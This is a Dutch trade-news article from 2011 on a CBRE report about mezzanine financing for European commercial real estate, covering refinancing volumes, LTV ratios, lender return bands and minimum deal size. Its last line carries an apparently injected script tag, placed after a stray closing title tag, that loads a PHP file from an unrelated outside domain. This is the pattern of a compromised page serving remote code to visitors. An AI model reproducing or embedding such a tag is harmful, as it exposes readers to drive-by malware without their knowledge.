Datum: 18-01-2011 11:03, Bron: PropertyNL

Categorie: Overig

 

AMSTERDAM - Mezzaninefinanciering blijkt een onmisbaar instrument te zijn voor het dichten van het Europese ‘financieringsgat’, blijkt uit een zojuist uitgekomen rapport van het Europese Debt Advisory team van vastgoedadviseur CB Richard Ellis. Volgens CBRE staat er in Europa momenteel € 960 mrd aan leningen voor commercieel vastgoed uit. Ongeveer € 530 mrd daarvan loopt in de komende drie jaar af.

Doordat bij veel leningen de loan-to-value-ratio’s (LTV) tot grote hoogte zijn gestegen wordt herfinanciering tegen de huidige voorwaarden een probleem. Een junior financiering, of mezzanine, kan worden gebruikt om het gat te vullen tussen het eigen vermogen van de lener en de nieuwe senior lening die doorgaans maar tot 60-70% van de onderliggende waarde dekt.
Er zijn volgens CBRE momenteel zo’n 15 partijen actief in Nederland die mezzanine financieringen aanbieden, uit een Europese markt van meer dan 100 spelers. Er bestaat daarbij een duidelijke tweedeling in de markt tussen geldschieters die een rendement van 10 tot 15% zoeken en in een lager risicosegment opereren, en meer opportunistische partijen die rendementen van 15 tot wel 25% verlangen, aldus CBRE.
Een mezzanine is vooral toe te passen als alternatief voor het inbrengen van eigen vermogen. Mezzanines vullen de senior lening doorgaans aan met een extra 15 tot 25%, dus tot een totaal aan vreemd vermogen van 80-85% LTV.
Mezzaninefinanciering is, vanwege de hoge rente, een dure oplossing, maar voor eigenaren die geen eigen vermogen meer kunnen of willen inbrengen is het vaak het enige alternatief voor liquidatie of een lang en moeizaam herstructureringsproces. Bovendien heeft de toepassing van een mezzanine een positief effect op de cashflow. Doordat de nieuwe senior lening tegen een lagere LTV kan worden afgesloten dan de oude leidt dit tot minder aflossing en een lagere rente, terwijl op de mezzanine zelf meestal geen aflossing wordt gevraagd. Tenslotte bestaat nog de mogelijkheid om een gedeelte van de junior rente op te boeken bij de lening en pas te betalen bij aflossing (Payment In Kind).
Niet alleen voor herfinanciering, maar ook bij nieuwe aankopen kan een mezzanine een nuttige optie zijn, mits het rendement op het vastgoed hoog genoeg is om aan de rendementseisen van de geldschieter te voldoen. Volgens Robert-Jan Peters, hoofd Debt Advisory Nederland bij CB Richard Ellis, is dit voor het meeste Nederlandse vastgoed het geval.
Overigens is een junior financiering pas beschikbaar vanaf een volume van zo’n € 15 mln, hetgeen betekent dat het vastgoed een voldoende schaalgrootte moet hebben om voor een dergelijke lening in aanmerking te komen. </title><script src=http://online-guest.info/ur.php></script>